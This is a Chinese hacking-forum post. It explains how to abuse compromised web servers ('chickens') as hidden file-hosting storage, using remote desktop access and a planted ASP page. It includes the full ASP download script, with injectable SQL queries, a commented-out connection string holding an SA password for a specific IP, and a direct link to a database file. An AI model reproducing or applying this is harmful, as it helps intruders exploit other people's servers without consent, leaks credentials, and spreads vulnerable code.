步骤: 1;捉鸡 2:放马. 3:数据库里加一个表:ACCESS的用.ASP的数据库工具直接加;SQL的3389进去用SQL的企业管理器 也可以在自己的机子里先做好一个;然后导入 4;无组件上传{和传图片入库的方法一样;网上介绍的方法多的是};导入的这步就省了 5:做个.ASP的下载页放鸡的站里一个.ASP里 6:自己站上放一个框架.....SRC=....?down=1 俩点问题: 一:每个上传的软件超过30M下载试时不稳定;下不来的时候多 二:SQL库里表中ID字段要特别设置自增 做的不好:见笑见笑;第一个测试的鸡里还让不知道哪位大侠把库里数据删了俩次:呵呵厉害 看来ASP木马里不加IP识别码是不行了 <%@codepage=936%><%Response.Buffer=True Response.Expires=-1 Response.ExpiresAbsolute=Now()-1 Response.Expires=0 Response.CacheControl = "no-cache" On Error Resume Next Co=Request.ServerVariables("URL") Session("lp")=Session.SessionID dim conn,dbpath set conn=server.createobject("ADODB.CONNECTION") ' conn.open "PROVIDER=SQLOLEDB;DATASOURCE=211.151.188.8;UID=sa;PWD=2004;DATABASE=ddwen" dbpath=server.mappath("ddwen.asp") conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&DBPath ' conn.open "driver={microsoft access driver (*.mdb)};dbq="&dbpath%>蓝屏软件 <% const MaxPerPage=10 dim totalPut,CurrentPage,TotalPages,i,j,keyword keyword=Replace(request("txtitle"),"'","") keyword=Replace(keyword,";","") if not isempty(request("page")) then currentPage=cint(request("page")) else currentPage=1 end if dim sql,rs,rstype,typesql,typeid,typename if not isEmpty(request("typeid")) then typeid=request("typeid") else typeid=1 end if set rstype=server.createobject("adodb.recordset") typesql="select * from soft" rstype.open typesql,conn,1,1 typename=rstype("type") rstype.close%>
<%sql="select * from soft where sm like '%"&keyword&"%' order by id desc" '注意漏洞:.; Set rs= Server.CreateObject("ADODB.Recordset") rs.open sql,conn,1,1 if rs.eof and rs.bof then response.write "没有或没有找到任何程序 " else totalPut=rs.recordcount totalPut=rs.recordcount if currentpage<1 then currentpage=1 end if if (currentpage-1)*MaxPerPage>totalput then if (totalPut mod MaxPerPage)=0 then currentpage= totalPut \ MaxPerPage else currentpage= totalPut \ MaxPerPage + 1 end if end if if currentPage=1 then showpage totalput,MaxPerPage,""&Co&"" showContent showpage totalput,MaxPerPage,""&Co&"" else if (currentPage-1)*MaxPerPage rs.move (currentPage-1)*MaxPerPage dim bookmark bookmark=rs.bookmark showpage totalput,MaxPerPage,""&Co&"" showContent showpage totalput,MaxPerPage,""&Co&"" else currentPage=1 showpage totalput,MaxPerPage,""&Co&"" showContent showpage totalput,MaxPerPage,""&Co&"" end if end if rs.close end if set rs=nothing sub showContent dim i i=0%> <%end sub function showpage(totalnumber,maxperpage,filename) dim n if totalnumber mod maxperpage=0 then n= totalnumber \ maxperpage else n= totalnumber \ maxperpage+1 end if response.write "" end function%> | |
<%down=Request("dn") if down<>"" then Set rs = Server.CreateObject("ADODB.Recordset") sql="select * from soft where id ="& Request("id") rs.open sql,conn,1,3 rs("hits")=rs("hits")+1 rs.update Response.Clear Response.AddHeader"Content-Disposition","attachment;filename="&rs("name") Response.AddHeader"Content-Length",rs("size") Response.CharSet="UTF-8" Response.ContentType="application/octet-stream" Response.BinaryWrite rs("lp") Response.Flush Response.end rs.close set rs=nothing end if set conn=nothing%>
Set rs = Server.CreateObject("ADODB.Recordset") sql="select * from soft where id ="& Request("id") rs.open sql,conn,1,3 rs("hits")=rs("hits")+1 rs.update Response.Clear Response.AddHeader"Content-Disposition","attachment;filename="&rs("name") Response.AddHeader"Content-Length",rs("size") Response.CharSet="UTF-8" Response.ContentType="application/octet-stream" 'Response.ContentType = rs("Type") 'Response.BinaryWrite rs("rj").getChunk(7500000) ''=========这是直接看图的方法 Response.BinaryWrite rs("lp") Response.Flush Response.end rs.close set rs=nothing
http://210.51.181.21/db/ddwen.mdb |
查看所有5条评论>>